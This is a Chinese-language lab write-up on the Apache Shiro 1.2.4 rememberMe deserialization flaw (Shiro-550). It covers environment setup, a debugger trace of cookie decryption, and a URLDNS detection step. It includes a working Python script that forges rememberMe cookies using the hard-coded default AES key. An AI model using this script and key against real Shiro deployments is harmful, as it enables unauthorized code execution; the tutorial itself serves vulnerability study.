环境部署
使用的版本是idea2024专业版。尽量采用专业版,低版本的也可以。专业版一般内置tomcat可以少走很多弯路。我一开始搭建的时候用的是2022的社区版,在tomcat这卡了大半天。
一、shiro源码安装部署
源码下载:http://atoposx.com/tools/shiro/shiro-shiro-root-1.2.4.zip
打开idea导入项目


在samples/web/pom.xml文件下添加javax.servlet的版本
<version>1.2</version>
最后将shiro项目打包成war包用于部署

生成的war包会在samples/web/target目录下

二、tomcat部署

点击编辑配置

点击加号-选择tomcat服务器-选择本地
应用程序服务器:本地tomcat安装地址
URL:启动后访问项目的路径
HTTP端口:tomcat访问端口
这些配置好后点击部署


点击工件

选择有web含有exploded的
然后配置完毕
三、启动

点击调试稍等即可。
shiro550反序列化分析
一、反序列化过程分析
shiro550中对rememberme cookie的反序列化过程大致如下图。

我们在环境中下几个断点来调试跟进一下原生shiro对rememberme的反序列化过程。
启动环境,添加bp代理。
点击登录按钮

输入账号密码,勾选remember me
登录成功后会在bp中发现登陆包,其中会发送remember me

重放一下这个包就可以跟进解密过程
首先来到了AbstractRememberMeManager的getRememberedPrincipals方法

跟进一下getRememberedSerializedIdentity方法

发现是CookieRememberMeManager中的一个方法,往下看它的作用是获取加密后的rememberme,并进行base64解密


解密后继续往下走来到了convertBytesToPrincipals函数

顾名思义就是一个类型转换的函数,将bytes转换成principal。跟进一下

是AbstractRememberMeManager自己的函数,作用是先解密上一步base64解密后的密文,再将其反序列化。
跟进decrypt函数

继续调用别的解密函数。这里要强调一下getDecryptionCipherKey()参数,跟到后面可以发现加密方法是aes加密,aes是对称加密,需要一个密钥来解密。getDecryptionCipherKey()函数就是来获取解密的密钥,我们可以跟进这个函数看一下这个密钥长什么样。


在知道密钥是什么之后我们跟进decrypt函数

最终解密调用了JcaCipherService.decrypt()函数。观察整个函数体其实就可以发现是aes的解密方式
所以到这我们可以得到一个重要的结论就是remember的解密过程经历了以下步骤:
获取rememberme->base64解密->aes解密->反序列化。
反推就可以得到rememberme的形成方式:
原数据->序列化->aes加密->base64加密->得到rememberme
这就是shiro反序列化漏洞成因并且可以被利用的重要原因。
继续运行代码。

解密完成后返回序列化的原数据

继续走来到了反序列化的函数,跟进函数

继续跟进deserialize函数

最终是调用了DefaultSerializer.deserialize()来反序列化数据,至此反序列化过程结束。
二、漏洞成因
根据上面的分析,我们可以总结一下漏洞形成的原因。
首先我们知道了rememberme的构造过程:原数据->序列化->aes加密->base64加密->得到rememberme。
那我们就可以根据这个过程来构建我们自定义的rememberme。
其次shiro550采用的是固定密钥来加密,aes加密的步骤就可以顺利完成。
最后反序列化函数调用了readObject函数,就有很大可能能用链子去打
三、漏洞利用
(1)URLDNS检测
可以用urldns链检测是否存在反序列化漏洞。
- 使用ysoserial生成dns链poc

编写脚本进行aes、base64加密
import sys import uuid import base64 from Crypto.Cipher import AES def pad(data, block_size): pad_len = block_size - len(data) % block_size return data + pad_len * chr(pad_len).encode() def aes_encrypt(data, key, iv): encryptor = AES.new(key, AES.MODE_CBC, iv) return encryptor.encrypt(data) def encode_rememberme(data): BS = AES.block_size key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==") iv = uuid.uuid4().bytes file_body = pad(data, BS) encrypted_data = iv + aes_encrypt(file_body, key, iv) base64_ciphertext = base64.b64encode(encrypted_data) return base64_ciphertext def main(input_file): with open(input_file, 'rb') as f: file_content = f.read() encrypted_payload = encode_rememberme(file_content) # Print the encrypted content print(encrypted_payload.decode()) if __name__ == '__main__': if len(sys.argv) != 2: print("Usage: python script.py <input_file.txt>") sys.exit(1) input_file = sys.argv[1] main(input_file)- 运行脚本得到rememberme值

bp发包发现成功利用



0 条评论